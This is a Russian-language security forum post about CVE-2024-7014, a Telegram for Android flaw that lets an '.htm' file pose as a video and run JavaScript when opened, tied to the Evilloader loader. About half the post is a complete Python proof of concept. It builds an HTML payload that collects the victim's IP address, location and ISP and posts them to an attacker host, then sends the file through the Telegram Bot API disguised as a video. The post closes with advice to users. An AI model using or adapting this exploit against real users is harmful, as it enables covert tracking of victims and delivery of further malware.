Уязвимость CVE-2024-7014: обновленный Evilloader маскирует вредоносный код под видео Telegram

  • Автор темы Автор темы akok
  • Дата начала Дата начала

Переводчик Google

Исследователи выявили эксплойт, связанный с уязвимостью CVE-2024-7014, в котором злоумышленники используют Telegram API для распространения вредоносного кода. Файл с расширением ".htm" маскируется под видео, а при попытке его открытия выполняется вредоносный JavaScript-код.

Технические детали​

Evilloader – это загрузчик, позволяющий атакующим скачивать и исполнять дополнительные вредоносные файлы на устройствах жертв. В обновленной версии этого модуля усилены механизмы противодействия анализу. В данном сценарии вредоносная HTML-страница сначала перенаправляет жертву на фальшивую страницу загрузки "Play Protect", затем отправляет ее IP-адрес атакующему.

Описание уязвимости​

Основной причиной проблемы является то, что файлы с расширением ".htm", отправленные через серверы Telegram, могут восприниматься как видео. Открывая такой файл, пользователь фактически запускает HTML-код в браузере через путь:
Код:
content://org.telegram.messenger.provider/media/Android/data/org.telegram.messenger/files/Telegram/Telegram%20Video/4_5924894289476721732.htm

Как работает атака​

  1. Жертве отправляется файл ".htm", замаскированный под видео.
  2. При попытке открыть его в видеоплеере система может перенаправить его в браузер.
  3. В браузере запускается JavaScript, который:
    • Регистрирует IP-адрес жертвы и отправляет его атакующему.
    • Перенаправляет на вредоносную страницу.

Пример кода атаки​

Злоумышленники могут использовать следующий код на Python для отправки вредоносного файла через Telegram API:

Python:
import requests

BOT_TOKEN = "your_bot_token"
CHAT_ID = "your_chat_id"

html_content = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>
        fetch('http://ip-api.com/json')
            .then(response => response.json())
            .then(data => {
                fetch('http://192.168.137.1:5000/log_ip', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        ip: data.query,
                        country: data.country,
                        region: data.regionName,
                        city: data.city,
                        isp: data.isp
                    })
                });
            })
            .catch(error => console.error('Error fetching IP:', error));
    </script>
</head>
<body>
</body>
</html>
"""

html_path = "testv.mp4"
with open(html_path, "w") as file:
    file.write(html_content)

files = {
    "video": (
        "a.htm",
        open(html_path, "rb"),
        "video/mp4"
    )
}

url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo"
data = {"chat_id": CHAT_ID, "supports_streaming": False}

response = requests.post(url, data=data, files=files)

if response.status_code == 200:
    print("message send")
else:
    print(f"error: {response.text}")

Этот код создает HTML-файл, содержащий вредоносный JavaScript, и отправляет его через Telegram как "видео". При открытии такого файла на Android устройство выполняет вредоносный код, а данные жертвы передаются атакующему.
Посмотреть вложение telegramexploitvideo.mp4

Выводы​

Эта уязвимость подчеркивает необходимость осторожности при открытии файлов, полученных через мессенджеры, даже если они выглядят как безобидное видео. Пользователям рекомендуется не запускать подозрительные файлы и использовать актуальные версии программного обеспечения для защиты от подобных атак.

Источник
 

Похожие темы

Назад
Сверху Снизу